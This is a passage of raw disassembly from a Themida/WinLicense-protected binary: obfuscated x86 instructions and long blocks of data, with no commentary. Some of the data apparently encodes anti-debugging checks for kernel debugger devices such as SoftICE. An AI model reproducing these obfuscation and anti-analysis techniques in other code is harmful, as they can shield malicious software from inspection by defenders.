		inc	esi
		not	esi
		jmp	loc_56FF20
; ---------------------------------------------------------------------------


loc_5712EE:				; CODE XREF: Themida_:0057077Ej
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 4EB60E3Ah
		sub	edi, 2B235885h
		add	edi, 0FFFFFFFFh
		neg	edi
		not	edi
		jmp	loc_55E2B3
; ---------------------------------------------------------------------------
		dw 489h
		dd 4B824h, 0EA810000h, 51453672h, 0C281C201h, 51453672h
		dd 4EA8358h, 5C241487h,	0E9242C89h, 0FFFEF0BDh,	8324148Bh
		dd 0CE0104C4h, 83240C8Bh, 0C68104C4h, 4, 595368h, 24348900h
		dd 42474FFh, 24048F5Eh,	0E924248Bh, 0FFFF1451h,	5C243C87h
		dd 31FBE951h, 815FFFFFh, 4C7h, 0D1C7E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57137A:				; CODE XREF: Themida_:005606F3j
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_569E73
; ---------------------------------------------------------------------------
		db 45h
		dd 4613ED81h, 89E98F22h, 83FFFF2Dh, 40504C4h, 68000000h
		dd 3943h, 0E9241C89h, 0FFFF7AD3h
; ---------------------------------------------------------------------------


loc_5713AC:				; CODE XREF: Themida_:0056FC54j
		not	ebx
		push	0
		sub	[esp], ebx
		pop	ebx
		add	ebx, 87408ABCh
		sub	edx, 31C81D6Dh
		add	edx, ebx
		push	ecx
		mov	ecx, 6AB052C9h
		not	ecx
		xor	ecx, 0A487B05Bh
		add	edx, ecx
		pop	ecx
		pop	ebx
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_56A46B
; ---------------------------------------------------------------------------
		dd 3873C381h, 0E6E94839h
		db 0CBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_57140B:				; CODE XREF: Themida_:005672ACj
		shr	edx, 1
		jmp	loc_56E6D0
; ---------------------------------------------------------------------------
		dw 0DE8h
		dd 0DC000000h, 213033C9h, 7B00CFFEh, 0BDB95495h, 5AF08B66h
		dd 10E9h, 0F6D2AF00h, 80F986F5h, 19983A54h, 0D1C242FBh
		dd 6DC28135h, 0E9000073h, 0Bh, 0BA04DF38h, 0CE62566h, 2B15E12Ch
		dd 10E9FFh, 12E0000h, 0F7E65ED8h, 6E8CF65Bh, 0EEC6F854h
		dd 48B8D1Ch, 78DB813Ah,	81039955h, 7CA092C0h, 0D1FABE26h
		dd 0C081667Bh, 1E0AC46Bh, 5E6BB966h, 0BF25C081h, 0BE667BC4h
		dd 489B312h, 0B840F3Ah,	0F000000h, 58Bh, 7C18BB00h, 890F3AC3h
		dd 6, 4D7EF181h, 0EF830469h, 0F3816604h, 0FF817D37h, 0FFFF8D48h
		dd 0FFA4850Fh, 8E0FFFFFh, 4, 5E15B556h,	38E9h, 65912000h
		dd 45535569h, 2E323352h, 6C6C64h, 41564441h, 32334950h
		dd 6C6C642Eh, 44544E00h, 642E4C4Ch, 0D7006C6Ch,	6000907h
		dd 1000F00h, 37003A00h,	16600h,	8ABE900h, 49680000h, 0E9062B9Ch
		dd 0FFFDE250h, 2B9CB268h, 0E246E906h, 0BE68FFFDh, 0E9062B9Dh
		dd 0FFFDE23Ch, 2B9F0168h, 0E232E906h, 6868FFFDh, 0E9062B9Fh
		dd 0FFFDE228h, 2BA05368h, 0E21EE906h, 0C668FFFDh, 0E9062BA0h
		dd 0FFFDE214h, 0F664974Ch, 3539C810h, 7DF17AD3h, 894DBE9Bh
		dd 0D604896Fh, 27854A86h, 0EC4EA8AAh, 0B00BED61h, 79DD3B3Bh
		dd 8FE642F0h, 4154288Bh, 49FC917Ah, 810AED4Bh, 558EEA39h
		dd 238A0F04h, 6CEE84F7h, 0DB226D80h, 0CC4726F2h, 9643297Ah
		dd 0F83E1765h, 7A45D5D2h, 0A8EC6A35h, 5DDFEDF2h, 0A28B30E9h
		dd 4900FE74h, 6ADBA15Ah, 5981DDD7h, 8AAF3DF0h, 36AC39Ch
		dd 19074E38h, 7AD3B564h, 0CAAC882Fh, 68B694Fh, 3E76F93Dh
		dd 30636699h, 1F9C8CE9h, 5EE1E8DFh, 2EA21501h, 40F6699h
		dd 0CB29F73Dh, 0C2BB6094h, 4E9B9FF6h, 73607292h, 997DDB20h
		dd 60C42210h, 0D6D854E9h, 0C5C9CD5Fh, 708F2h, 0A5568D00h
		dd 7A8B57B1h, 34BF1EF8h, 8A79E006h, 45C8AE48h, 0C409C191h
		dd 8D6BEB66h, 52B4A62Bh, 26C072F9h, 0AB0FCF46h,	525BDCDAh
		dd 0AF467A41h, 0E960C404h, 55DEBB11h, 55B40A08h, 0A1B7A48h
		dd 0E743B2AEh, 8A096AACh, 2F888698h, 5381C2A4h,	0C49CF9C0h
		dd 8C6AE863h, 0C6A02Bh,	92182DA4h, 8FB38A54h, 69FB41Bh
		dd 0E9760000h, 223ED81Ah, 208563D3h, 944DABABh,	0B311F767h
		dd 746C3C3Eh, 9644C9AFh, 0DB1B9670h, 1DD15A3Dh,	0A8AA23FBh
		dd 0FE71A50Ch, 0EB7A4152h, 624BA3CAh, 6CEEC334h, 0EE82E80h
		dd 0FE5CB883h, 7DD3971Eh, 0EC561099h, 0B63EB86Eh, 4C7ADCE3h
		dd 4Ah,	73C4321Bh, 5E806CE6h, 0C46CE735h, 0EE65E960h, 6CEF1966h
		dd 88248080h, 0E0C3B274h, 2F2F7617h, 9EE74CCDh,	83E9643Ah
		dd 88C074A2h, 0BEE77A45h, 95E5F778h, 49C49A86h,	44A1889Bh
		dd 0A2901BFCh, 9E68E344h, 604C9h, 60C4A600h, 0DEBB11E9h
		dd 0ABF201D8h, 50345E42h, 475B377Fh, 0F1B7387Eh, 7122806Bh
		dd 9ACCCA1Bh, 327A44D9h, 2D0BFA66h, 8EE6C37h, 47CAA8ACh
		dd 987CA0E3h, 0C5332FF7h, 886AE833h, 5541AA11h,	8070FEF2h
		dd 9471C728h, 3E78AB1Fh, 8CC132BDh, 3F9D7B24h, 0B99FF4B2h
		dd 0CDABF0A3h, 8B6DE16Ah, 9CFBB30h, 0A10724ADh,	90AD61AAh
		dd 593B51Ah, 0DD7A0000h, 0ECA2C2Eh, 3C997FFFh, 0F86187B7h
		dd 4F2DCB0Bh, 884010C2h, 0EA68E5BBh, 3727AA0Ch,	79FD76D1h
		dd 84B63F9Fh, 0E2554120h, 0CF7A4151h, 60C48F36h, 0DFBF11E9h
		dd 0FB229056h, 0EF136492h, 95FE806Ch, 0E67DA147h, 806CEC9Ch
		dd 0E54AABFEh, 1E07ADCh, 4DFFFFFFh, 8CE960C4h, 0EEFC7FBBh
		dd 0BAE5806Ch, 52BBEA5Eh, 6CEED324h, 3D703E80h,	2DD8A2Dh
		dd 12F4C02Bh, 8ED73C87h, 6C732788h, 2B819280h, 3B68DE2Fh
		dd 8482F0DDh, 6B7A4543h, 0DD05D338h, 0EE0CC82Ch, 52BB802Bh
		dd 0A3AA0D09h, 1FC78695h, 4BE94AB6h, 55BEE17Fh,	9501CE21h
		dd 0C683B86h, 6DE7960Ch, 0D563980h, 0EF5BD0ABh,	8CE050A4h
		dd 8CBE1C2Eh, 8C0618BCh, 6E8BB664h, 17A9Eh, 10B95700h
		dd 0E0CD7623h, 0EF189B9Fh, 9E81806Ch, 272F6BBAh, 887A45D6h
		dd 471F5387h, 145DDFEDh, 1B9C1B85h, 4E09B82Fh, 0E3BA1E67h
		dd 0F5210C68h, 5A49757Dh, 0D3897122h, 6290FD46h, 60728947h
		dd 0ACDC396Ah, 850F2718h, 260F6D25h, 2A73FA52h,	3462934Eh
		dd 6CC357C3h, 0BE1A652Eh, 0BE9555D8h, 0A004E25Ah, 867A1429h
		dd 63A7CD5Fh, 4505Ch, 0ED1EC500h, 0A2538F69h, 7CF756B0h
		dd 32C118FEh, 8D00E600h, 7CC11949h, 0C523139Eh,	8A6CEE63h
		dd 5EB8BA31h, 63C777FEh, 4FA31402h, 770E7A41h, 0FED4BCCh
		dd 89EF2482h, 0E4C16A2Fh, 485620BEh, 7ADE477Ah,	85B2FDEh
		dd 988AAD0Eh, 200B1486h, 119A7DDBh, 0EB603BDDh,	54DDB91Fh
		dd 8A533DD7h, 29BE74B3h, 3E9h, 9644B7ACh, 0D519E870h, 1DD15A33h
		dd 0A9AD5EFBh, 0F664E94Fh, 7E52AA6h, 0CCAE488Ah, 906B8D41h
		dd 593DDB1Bh, 0EFC662D0h, 415048ABh, 699CB17Ah,	8CE960C4h
		dd 6ED85334h, 0E244CFA8h, 685A46A1h, 0C5D5DB7Fh, 0DDB30755h
		dd 4C36F079h, 71CD58CEh, 0AB806C85h, 398F5E42h,	0CC38BBFFh
		dd 0FEA1806Ch, 2987DBB2h, 1115DCC3h, 3D2D7ADDh,	0E4FFFFFDh
		dd 62D89DB4h, 0CD2B88BDh, 75ED4B02h, 8BE12284h,	6ED85135h
		dd 78F75127h, 6CEEB93Ah, 147F2080h, 9C6A9940h, 128761B7h
		dd 0AC564CA9h, 1B7A45E4h, 0B941CA08h, 307B1E15h, 0D6A7AFEBh
		dd 7087A45h, 1A3A9FD3h,	36E3EEADh, 0FC72A08Dh, 0A3288657h
		dd 0C55436F0h, 0FBCC157Eh, 0D6A43CBFh, 9EFAA534h, 0AF6B4F9Ah
		dd 0C421722Eh, 0DD11987Ch, 59EA633Bh, 0FF22FE39h, 0FEAD32F8h
		dd 97000002h, 5DBBBB48h, 20C67485h, 0EA0CCE45h,	0B85E9C6Fh
		dd 0B7E757DAh, 0FD70D61Bh, 0B03D9F79h, 8836482h, 0C1482CCAh
		dd 0DAD8A90Dh, 7A414F59h, 0C006AD40h, 0A089D259h, 0C4DF7B78h
		dd 0BD9B9749h, 47DCE77Dh, 9185887Ah, 8698111Eh,	10B5067Ch
		dd 731C8698h, 26BB2DDh,	0EE58ABB6h, 9A7E57A5h, 6E884AC1h
		dd 0EEA0068Dh, 4A66870Eh, 0D7B38ACDh, 28B8CD3h,	0D5020000h
		dd 6D23426h, 0C4A147F7h, 0F0698F4Fh, 5735D303h,	904818DAh
		dd 0F260ED43h, 3F3FB214h, 41F57ED9h, 8C4EC7A7h,	0DA5D5928h
		dd 0C77A414Eh, 59C0872Eh, 0D0A089D2h, 0C201F908h, 562EB2F6h
		dd 0CE517A48h, 32BB13E5h, 8B30E200h, 62FF59A2h,	9EFA2991h
		dd 988B239Ah, 25858E86h, 3B008D63h, 61FBE6F5h, 0E6CF4F57h
		dd 97FF3FB0h, 93F9AA86h, 9EF0D2Fh, 0DEB45684h, 0EF2B7C59h
		dd 8697FE8Ch, 4FC4A775h, 981B1F64h, 18697FEh, 82EB3A1Eh
		dd 190DCE9Eh, 3F1DFCF9h, 988A80FBh, 40266986h, 522A2E8Eh
		dd 42ABF0DBh, 988AE354h, 5CD7B686h, 0F8ABB9EAh,	0E80E2C9Ch
		dd 0D8B8850Ch, 0D132F47Fh, 0C1A543FBh, 8D6363C5h, 26DA600h
		dd 0A2046FA4h, 0B20B9491h, 0EB5FD2B4h, 37E951B8h, 16DDD56h
		dd 7EDEE73Fh, 89D033F7h, 0D2B50364h, 56A2E159h,	0F1556EB0h
		dd 1FED1378h, 0B3668AABh, 0E4ED7ED9h, 0E53FB8h,	0E2CF1008h
		dd 53390026h, 5FB472FBh, 431BFD79h, 0C49A7CCAh,	0AEAAF149h
		dd 9770C078h, 825A381Ch, 0DDD9220Bh, 8698665Ah,	7CF8DC47h
		dd 6C49C49Ah, 6BD6A43Ch, 0FD5B51CBh, 0F3D0961Bh, 24FCD5A5h
		dd 1271C940h, 0C8101DC6h, 6FCDF628h, 8AED5FC7h,	745F9589h
		dd 0CB61AFC6h, 0A0DF760Fh, 47AE2580h, 953D9371h, 8A664CDBh
		dd 4EC3A544h, 7940ABF8h, 0E76CCF81h, 0DC42D603h, 5A9815EBh
		dd 0E951D8BCh, 4B106495h, 0FB5335FEh, 51A34A7h,	2E98E38Dh
		dd 0A2048F68h, 72C85EFCh, 0C2031B3Dh, 9573E36Ah, 53739D31h
		dd 0EF6779BEh, 4525AE09h, 8D43270Eh, 4EC4A22Fh,	0DEC276A8h
		dd 0D1129BA1h, 93714737h, 6680B23Bh, 52260F86h,	51217786h
		dd 48951EFBh, 0E43D604Ah, 0BC18F838h, 49AAE835h, 0B045344Fh
		dd 0C05389EFh, 1BC692FBh, 0C5351EE8h, 45344E72h, 0F960345Fh
		dd 157BC0Ah, 0C97227C5h, 0B644B6ECh, 0E0B33F0Fh, 4E46959Bh
		dd 4D2CA901h, 0B1870CEFh, 26AF0FC1h, 0F37AD234h, 0A27ADE37h
		dd 71FA860Eh, 7D44F21Eh, 3E72468Dh, 6C1D5007h, 0D5EE30C6h
		dd 9C7AF871h, 98C9B138h, 0B7F043B7h, 0C3A1BAADh, 0AB81924Eh
		dd 96FF0CD5h, 9A13EB4Dh, 40B3E72Ch, 0A9BAADB8h,	0F32E92E6h
		dd 0B107B96Dh, 0A6ED5DD6h, 9118FC52h, 8574ECB4h, 0F551B7B7h
		dd 555B8A7Ch, 944425F5h, 0B40AEE5Ch, 36024139h,	8A1h, 0ED4B0E00h
		dd 2CB58308h, 0EC1FC499h, 69E0441Ah, 0D75C3F91h, 56DBBD13h
		dd 0D5583E90h, 50DDB315h, 0DA293096h, 58D3AA6Ch, 0C13028EEh
		dd 50683A79h, 8900002Bh, 7468243Ch, 8900006Ah, 4F68240Ch
		dd 8900005Ch, 0BF572434h, 3C2D03DBh, 0FE97ADB9h, 8BF901C9h
		dd 0C481243Ch, 4, 24348B54h, 4C481h, 0BB530000h, 8, 521AC381h
		dd 0F3016EC9h, 521AEB81h, 0B896EC9h, 24348B5Bh,	81E18951h
		dd 4C1h, 4C18100h, 87000000h, 0FF5C240Ch, 83592434h, 0B5E904C4h
		dd 20FFFDD9h, 918F8458h, 0A376B837h, 0C503062Bh, 2D71E0FFh
		dd 30DC27DEh, 1D50732Ah, 0E6CF0A5Ch, 84C20E6Dh,	0A39C23EDh
		dd 0FD703359h, 52DB522Bh, 0F41E22DBh, 0BB687E71h, 59280BA6h
		dd 0DA6B2904h, 41DB4CC8h, 618B7DFBh, 42B8509Dh,	0D6C5D17h
		dd 48B568A3h, 744C72ADh, 51CC5628h, 0FAE763DCh,	99174EE7h
		dd 667867D2h, 60C10FE0h, 68B43BD0h, 85507556h, 1E376389h
		dd 0A1DF50ADh, 0BBCD47B1h, 46C62A7Dh, 0E2290B66h, 8CE91541h
		dd 60000000h, 23E1BD83h, 0F000629h, 584h, 77E900h, 6A0000h
		dd 0F303E80h, 885h, 46006A00h, 35E9h, 333E8000h, 8850Fh
		dd 106A0000h, 24E946h, 3E800000h, 8850F34h, 6A000000h
		dd 13E94630h, 80000000h, 850F353Eh, 8, 0E946406Ah, 2, 3E80006Ah
		dd 12850F20h, 80000000h, 0F00017Eh, 885h, 8C48300h, 14E9h
		dd 89858D00h, 90062926h, 50969050h, 0FF006A96h,	29326D95h
		dd 0C6C36106h, 291B5985h, 0BE684D06h, 81E1D912h, 64162434h
		dd 0B5FF45ECh, 6291875h, 3B72858Dh, 0D0FF0629h,	326D8589h
		dd 0AAE90629h, 53000000h, 7774666Fh, 5C657261h,	4C6E6957h
		dd 6E656369h, 43006573h, 6B636568h, 58004E49h, 746F7270h
		dd 74697845h, 65684300h, 554F6B63h, 69570054h, 63694C6Eh
		dd 65736E65h, 73726556h, 6E6F69h, 4C6E6957h, 6E656369h
		dd 72446573h, 72657669h, 73726556h, 6E6F69h, 4C6E6957h
		dd 6E656369h, 6E496573h, 6E617473h, 45006563h, 4F746978h
		dd 7250006Bh, 4E49636Fh, 6F725000h, 54554F63h, 69784500h
		dd 4E4974h, 74697845h, 54554Fh,	4E497054h, 3 dup(0)
		dd 0DDAF7F00h, 0DD72F077h, 596E977h, 85890000h,	62BA5C5h
		dd 0A5C1858Dh, 8D50062Bh, 2BA52B85h, 1685006h, 0FF800000h
		dd 2BA5D195h, 0FF196A06h, 2BA5C5B5h, 6A016A06h,	5A858D00h
		dd 50062BA5h, 0A5C1B5FFh, 95FF062Bh, 6292045h, 0A5C1B5FFh
		dd 95FF062Bh, 62BA5CDh,	0A5C1B5FFh, 95FF062Bh, 629296Dh
		dd 0C58589C3h, 8D062BA5h, 2BA5C185h, 858D5006h,	62BA52Bh
		dd 16850h, 95FF8000h, 62BA5D1h,	858D046Ah, 62BA5C5h, 6A046A50h
		dd 84858D00h, 50062BA5h, 0A5C1B5FFh, 95FF062Bh,	6292045h
		dd 0A5C1B5FFh, 95FF062Bh, 62BA5CDh, 0A5C1B5FFh,	95FF062Bh
		dd 629296Dh, 0C58589C3h, 8D062BA5h, 2BA5C185h, 858D5006h
		dd 62BA52Bh, 16850h, 95FF8000h,	62BA5D1h, 858D046Ah, 62BA5C5h
		dd 6A046A50h, 6C858D00h, 50062BA5h, 0A5C1B5FFh,	95FF062Bh
		dd 6292045h, 0A5C1B5FFh, 95FF062Bh, 62BA5CDh, 0A5C1B5FFh
		dd 95FF062Bh, 629296Dh,	0C58589C3h, 8D062BA5h, 2BA5C185h
		dd 858D5006h, 62BA52Bh,	16850h,	95FF8000h, 62BA5D1h, 858D046Ah
		dd 62BA5C5h, 6A046A50h,	97858D00h, 50062BA5h, 0A5C1B5FFh
		dd 95FF062Bh, 6292045h,	0A5C1B5FFh, 95FF062Bh, 62BA5CDh
		dd 0A5C1B5FFh, 95FF062Bh, 629296Dh, 0C58589C3h,	8D062BA5h
		dd 2BA5C185h, 858D5006h, 62BA52Bh, 16850h, 95FF8000h, 62BA5D1h
		dd 858D046Ah, 62BA5C5h,	6A046A50h, 47858D00h, 50062BA5h
		dd 0A5C1B5FFh, 95FF062Bh, 6292045h, 0A5C1B5FFh,	95FF062Bh
		dd 62BA5CDh, 0A5C1B5FFh, 95FF062Bh, 629296Dh, 4DBD83C3h
		dd 62909h, 0B840Fh, 9D8B0000h, 629094Dh, 894CC383h, 0BD83C303h
		dd 629094Dh, 0B840F00h,	8B000000h, 29094D9Dh, 50C38306h
		dd 83C30389h, 29094DBDh, 840F0006h, 0Bh, 94D9D8Bh, 0C3830629h
		dd 0C3038954h, 94DBD83h, 0F000629h, 0B84h, 4D9D8B00h, 83062909h
		dd 38958C3h, 4DBD83C3h,	62909h,	0B840Fh, 9D8B0000h, 629094Dh
		dd 895CC383h, 60C3C303h, 0A5C58589h, 858D062Bh,	62BA5C1h
		dd 2B858D50h, 50062BA5h, 168h, 0D195FF80h, 6A062BA5h, 0C5858D04h
		dd 50062BA5h, 6A046Ah, 0A5BC858Dh, 0FF50062Bh, 2BA5C1B5h
		dd 4595FF06h, 83062920h, 29309DBDh, 840F0006h, 0Ch, 0A5C1B5FFh
		dd 95FF062Bh, 62BA5CDh,	0A5C1B5FFh, 95FF062Bh, 629296Dh
		dd 8960C361h, 2BA5C585h, 0C1858D06h, 50062BA5h,	0A52B858Dh
		dd 6850062Bh, 80000001h, 0A5D195FFh, 46A062Bh, 0A5C5858Dh
		dd 6A50062Bh, 8D006A04h, 2BA59E85h, 0B5FF5006h,	62BA5C1h
		dd 204595FFh, 0BD830629h, 629309Dh, 0C840F00h, 0FF000000h
		dd 2BA5C1B5h, 0CD95FF06h, 0FF062BA5h, 2BA5C1B5h, 6D95FF06h
		dd 61062929h, 858960C3h, 62BA5C5h, 0A5C1858Dh, 8D50062Bh
		dd 2BA52B85h, 1685006h,	0FF800000h, 2BA5D195h, 8D046A06h
		dd 2BA5C585h, 46A5006h,	858D006Ah, 62BA5A5h, 0C1B5FF50h
		dd 0FF062BA5h, 29204595h, 9DBD8306h, 62930h, 0C840Fh, 0B5FF0000h
		dd 62BA5C1h, 0A5CD95FFh, 0B5FF062Bh, 62BA5C1h, 296D95FFh
		dd 0C3610629h, 0C5858960h, 8D062BA5h, 2BA5C185h, 858D5006h
		dd 62BA52Bh, 16850h, 95FF8000h,	62BA5D1h, 858D046Ah, 62BA5C5h
		dd 6A046A50h, 0AD858D00h, 50062BA5h, 0A5C1B5FFh, 95FF062Bh
		dd 6292045h, 309DBD83h,	0F000629h, 0C84h, 0C1B5FF00h, 0FF062BA5h
		dd 2BA5CD95h, 0C1B5FF06h, 0FF062BA5h, 29296D95h, 60C36106h
		dd 0A5C58589h, 858D062Bh, 62BA5C1h, 2B858D50h, 50062BA5h
		dd 168h, 0D195FF80h, 6A062BA5h,	0C5858D04h, 50062BA5h
		dd 6A046Ah, 0A5B4858Dh,	0FF50062Bh, 2BA5C1B5h, 4595FF06h
		dd 83062920h, 29309DBDh, 840F0006h, 0Ch, 0A5C1B5FFh, 95FF062Bh
		dd 62BA5CDh, 0A5C1B5FFh, 95FF062Bh, 629296Dh, 0C760C361h
		dd 2BA5C585h, 106h, 0C1858D00h,	50062BA5h, 0A52B858Dh
		dd 6850062Bh, 80000002h, 0A5D195FFh, 0C00B062Bh, 0F840Fh
		dd 85C70000h, 62BA5C5h,	0
		dd 4DE9h, 8D046A00h, 2BA5C585h,	46A5006h, 858D006Ah, 62BA53Fh
		dd 0C1B5FF50h, 0FF062BA5h, 29204595h, 0FC00B06h, 0F84h
		dd 0C585C700h, 62BA5h, 0E9000000h, 0Ah,	0A5C585C7h, 1062Bh
		dd 0B5FF0000h, 62BA5C1h, 296D95FFh, 8B610629h, 2BA5C585h
		dd 8960C306h, 2BA5C585h, 0C1858D06h, 50062BA5h,	0A52B858Dh
		dd 6850062Bh, 80000001h, 0A5D195FFh, 46A062Bh, 0A5C5858Dh
		dd 6A50062Bh, 8D006A04h, 2BA53F85h, 0B5FF5006h,	62BA5C1h
		dd 204595FFh, 0BD830629h, 629309Dh, 0C840F00h, 0FF000000h
		dd 2BA5C1B5h, 0CD95FF06h, 0FF062BA5h, 2BA5C1B5h, 6D95FF06h
		dd 61062929h, 858960C3h, 62BA5C5h, 0A5C1858Dh, 8D50062Bh
		dd 2BA52B85h, 1685006h,	0FF800000h, 2BA5D195h, 8D046A06h
		dd 2BA5C585h, 46A5006h,	858D006Ah, 62BA551h, 0C1B5FF50h
		dd 0FF062BA5h, 29204595h, 9DBD8306h, 62930h, 0C840Fh, 0B5FF0000h
		dd 62BA5C1h, 0A5CD95FFh, 0B5FF062Bh, 62BA5C1h, 296D95FFh
		dd 0C3610629h, 1B5985C6h, 68520629h, 0ADE47B07h, 3051B5FFh
		dd 95FF0629h, 629046Dh,	0A5D18589h, 85C6062Bh, 6291B59h
		dd 0E56852h, 0B5FF902Eh, 6293051h, 46D95FFh, 85890629h
		dd 62BA5CDh, 1B5985C6h,	68520629h, 0B9BF1235h, 3051B5FFh
		dd 95FF0629h, 629046Dh,	20458589h, 85C60629h, 6291B59h
		dd 10346852h, 0B5FF9878h, 6293051h, 46D95FFh, 85890629h
		dd 629296Dh, 1B5985C6h,	68520629h, 0C005DBD4h, 3051B5FFh
		dd 95FF0629h, 629046Dh,	34598589h, 11E80629h, 33000000h
		dd 91DFAB15h, 0A071FDA7h, 0B857CF8Bh, 7F480798h, 11E957h
		dd 90DE0000h, 0B46B4319h, 0FE8A43C2h, 0F17EE9E2h, 5B2AECADh
		dd 0C88B665Ah, 7152C281h, 0BF0F0000h, 1C2BBEFBh, 0D88B0000h
		dd 0E85832FFh, 5, 0CC3C0BCEh, 840FF7h, 5F000000h, 0B47FE881h
		dd 0BF667B73h, 0E881E42Ch, 57F7AFF9h, 9E9h, 3B89FC00h
		dd 0A83E1604h, 0C081CDA3h, 4FFD1B9Fh, 0FE9h, 9F53C300h
		dd 77081090h, 0C3D20A6Ch, 0C4F749CBh, 8F9EB750h, 81DE8B02h
		dd 946B6BEAh, 8152B572h, 946B67C2h, 83FB8B72h, 850F01EEh
		dd 0FFFFFF94h, 5C1EEBF9h, 535C2E5Ch, 454349h, 5C2E5C5Ch
		dd 56574953h, 5C004449h, 4E5C2E5Ch, 45434954h, 0FC08B00h
		dd 0BF0FF9BFh, 9DBD83F9h, 62930h, 0BD830975h, 6290075h
		dd 50197400h, 0B8C08B53h, 40Fh,	31058589h, 9D8D0629h, 62BAAA2h
		dd 585BD3FFh, 75BD83h, 74000629h, 0B8535017h, 40Fh, 31058589h
		dd 9D8D0629h, 62BA791h,	585BD3FFh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 97C35747h, 0A58DC7A6h, 0C7F6A4CDh
		dd 0F09BD8Bh, 95290629h, 629306Dh, 0C08BCA8Bh, 2E79958Bh
		dd 85C60629h, 6291B59h,	0C8B70F43h, 13E8h, 0E8169600h
		dd 1EA98DA3h, 6A63366Eh, 0E3BAAB6Ah, 0F6BECF7Ch, 0BE9h
		dd 0D7C2C000h, 0DCA9CBE3h, 0B30ACF28h, 245B685Fh, 52507A67h
		dd 7301BA66h, 585A310Fh, 0A1240481h, 0E942274Ah, 0Fh, 0AB7E4356h
		dd 0A9C9CCEh, 0B1526E62h, 0FF75A310h, 292639B5h, 0F7816606h
		dd 41B26346h, 3B72858Dh, 8D8B0629h, 6292D41h, 958BD0FFh
		dd 629354Dh, 89595350h,	6A2404h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 97DF81C3h, 0BE1684F1h
		dd 6ACE8BFFh, 0E8F08B00h, 4, 80h, 0F50F88Bh, 1E89h, 8B666000h
		dd 14E9DEh, 5F150000h, 0B1717C0Dh, 0AD3967F5h, 1484FF64h
		dd 0D0D3A757h, 8B61FC0Fh, 66042444h, 8BDFCCBEh,	14E900h
		dd 14700000h, 8010D8F3h, 8FD21EC5h, 3FEFEF1Fh, 3DF16E33h
		dd 44898FE0h, 52500424h, 615F5160h, 0BE66310Fh,	585AC38Ch
		dd 89BD8B58h, 6A062928h, 0B4C28103h, 6A491F7Bh,	50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 840F5008h, 2, 95965B5h, 29315D95h, 2B036A06h, 29049D8Dh
		dd 8E95106h, 0E6000000h, 0B6D62682h, 5E91082Ah,	0CEE72868h
		dd 7BA60B5h, 0E958C6C5h, 14h, 0F16E333Fh, 0BD8FE03Dh, 8154FDB0h
		dd 4E3C6DD0h, 12BC30F8h, 24348161h, 75CEE728h, 0AA5B52Bh
		dd 9D8D0629h, 62BACB7h,	8E9h, 800B9200h, 76532CB6h, 89B523E6h
		dd 9306290Eh, 0B411BE50h, 66936F60h, 0D0FFD18Bh, 0FE9h
		dd 3701C700h, 0F3048656h, 461D7B48h, 89ECBACAh,	0D1850F40h
		dd 58000002h, 5090CE8Bh, 66525052h, 0FCCA8BFh, 14E931h
		dd 3FC40000h, 6B8F7Eh, 9B1D6E87h, 0BBED7EADh, 0DC12D329h
		dd 585A90CBh, 0E953310Fh, 14h, 0F29D0C0Dh, 0F7E1BEC0h
		dd 617654ECh, 3906036Dh, 90F0693Eh, 50585A5Fh, 0B8666060h
		dd 0DE98A99h, 0A5000000h, 0DB39DDBAh, 0EAFEC251h, 8486D6B6h
		dd 0D78B6661h, 85299061h, 629057Dh, 19820Fh, 14E90000h
		dd 24000000h, 2D8E32D9h, 0A1A217C1h, 0CA1E6D4Ah, 289EFDE2h
		dd 6ACACEB1h, 5E800h, 6ABA0000h, 5ACFBB5Bh, 4C08D968h
		dd 14E8AAh, 8F7E0000h, 6E87006Bh, 7EAD9B1Dh, 0D329BBEDh
		dd 90CBDC12h, 0D18B4D6Ch, 2404815Eh, 55B3F7A7h,	0FE8h
		dd 6E221B00h, 0C255A912h, 571CF8DAh, 74B007Fh, 0AE959h
		dd 725A0000h, 7769AF18h, 8BC15997h, 53BA036Ah, 6A0C5CC7h
		dd 60036A00h, 119858Bh,	0B58B0629h, 629175Dh, 30856861h
		dd 9E8BB82h, 0CF000000h, 1B449DD6h, 0E3300524h,	7DB86660h
		dd 0B1BB6602h, 815961C1h, 30852434h, 0F7817B82h, 7F600873h
		dd 0ACC09D8Dh, 0C1BA062Bh, 9374AC93h, 13E960h, 0C41F0000h
		dd 0D7C8F6CFh, 61CB1B49h, 9C001A28h, 9E9B184Eh,	18B2517Eh
		dd 60506158h, 93610FB0h, 6850Fh, 85890000h, 6290DCDh, 0C9958960h
		dd 0F062917h, 0FF61D1B7h, 0B1BD8BD0h, 40062928h, 152850Fh
		dd 0F9580000h, 7E890h, 38490000h, 0A127EC58h, 8E895h, 0F1300000h
		dd 217CDDCFh, 63BE9212h, 5E7530EEh, 0CE8B505Ah,	50006A90h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 6E927C58h, 66006A42h, 1CD8E981h, 2B0D5468h, 0CA8B66BDh
		dd 2C240481h, 6A42D4F3h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 244DC351h, 1ADA9407h
		dd 6A2F099Ah, 0DE816603h, 6A2471h, 3469B533h, 36A0629h
		dd 30A1B58Bh, 6B680629h, 0FC2047Bh, 886h, 52505300h, 585A310Fh
		dd 24348159h, 2047B6Bh,	659D29h, 0BD890629h, 6292E59h
		dd 0ACCB9D8Dh, 860F062Bh, 3, 93D6BF0Fh,	10E9h, 0C6C11A00h
		dd 44FD2015h, 6CAE8FFBh, 1E8DB653h, 8F0F50EAh, 2, 8993F28Bh
		dd 29330DBDh, 0E9D0FF06h, 10h, 77D31C14h, 3F426651h, 2E0F126Ch
		dd 48B9D9BDh, 41850F40h, 0F000000h, 684h, 0FDBD8900h, 6006290Eh
		dd 10E9h, 0EEF1A100h, 0FF46B815h, 0BB6F4236h, 5DDDB6A3h
		dd 218D0961h, 61062924h, 69950958h, 0E9062910h,	10Eh, 24AD8D29h
